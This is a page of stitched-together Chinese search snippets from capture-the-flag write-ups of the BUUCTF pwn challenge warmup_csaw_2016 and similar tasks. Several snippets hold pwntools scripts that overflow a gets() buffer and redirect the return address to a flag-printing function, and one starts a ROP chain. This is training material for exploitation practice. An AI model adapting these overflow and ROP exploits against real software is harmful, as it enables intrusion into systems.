buuctf-pwn-warmup_csaw_2016 warmup_csaw_2016 定期pwn一下维持手感 1.检查 啥都没有捏 2.找漏洞 ida静态分析从main里面找到get 找到shell 思路是简单的栈溢出 3.信息收集 get_addr:0x40069e 距离rbp:0x40 shell_addr:0x400611 4.exp from pwn import * from libcsearcher import * import binascii ...
点进去发现是个打印flag的后门函数,那么我们把返回地址改成这个函数的地址去执行这个函数就行了,然后这个程序并没有开启地址随机化,所以这个后门函数的地址是固定的0x40060d,那么这题就解决了 frompwnimport* p=remote('node4.buuoj.cn',26098) #p=process('./warmup') p.recvuntil('>') payload=b'a'*0x...
warmup_csaw_2016 查看文件warmup_csaw_2016信息 拖入IDA分析,得到main函数。 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char s; // [rsp+0h] [rbp-80h] char v5; // [rsp+40h] [rbp-40h] write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); ...
拿到文件,先checksec,没开启保护。 图片.png 运行, 图片.png IDA查看,main函数中,可解读,gets没有限制输入长度,存在溢出。 图片.png 图片.png payload: frompwnimport*r=remote("node3.buuoj.cn",29434)flag_addr=0x40060Dpayload='a'*(0x40+8)+p64(flag_addr)r.sendline(payload)r.interactive()...
NO.01 warmup_csaw_2016_sovle exp #-*- coding:utf-8-* from pwn import * io=remote("node2.buuoj.cn.wetolink.com",28872) #io=process("./warmup_csaw_2016") pop_rdi = 0x400713 pop_rsi_r15 = 0x400711 bss = 0x601058 gets_addr = 0x400500 sys_addr = 0x4004d0 print io.recv(...
warmup_csaw_2016 启动靶机,提供文件与地址,并且提示环境为 Ubuntu 16,因此应该不存在前述关卡的特殊问题。 直接使用 IDA 进行反编译,F5 查看伪代码发现主函数中返回了一个 gets() 函数。老朋友了,有这个函数就好说了,栈溢出具有初步可行性。 代码语言:javascript ...
warmup_csaw_2016 和上一个类似程序中有个sub_40060d的函数可以直接查看flag,控制eip指向这个函数即可 EXP 代码语言:javascript 复制 from pwnimport*sh=process("./warmup_csaw_2016")sh=remote("node3.buuoj.cn",27439)payload="a"*72cat=0x40060Dsleep(2)sh.sendline(payload+p64(cat))sh.interactive(...
003.warmup_csaw_2016 004.ciscn_2019_n_1 005.pwn1_sctf_2016 006.jarvisoj_level0 007.ciscn_2019_c_1 008.[第五空间2019 决赛]PWN5 009.ciscn_2019_n_8 010.jarvisoj_level2 011.[OGeek2019]babyrop 012.get_started_3dsctf_2016 013.bjdctf_2020_babystack ...
WriteUp For BUUCTF-Pwn. Contribute to Real-Simplicity/BUUCTF-Pwn development by creating an account on GitHub.
buuctf rip 我的第一个pwn题。 原理:修改返回地址以达到获得shell的目的。 我们将char s[]的15个字节填充上,再填充Caller‘s rbp 的8个字节即可到达Return address。 脚本如下: from pwn import* p = remote("ip地址",port) payload = 'A'*15+'B'*8+p64(0x401186) ...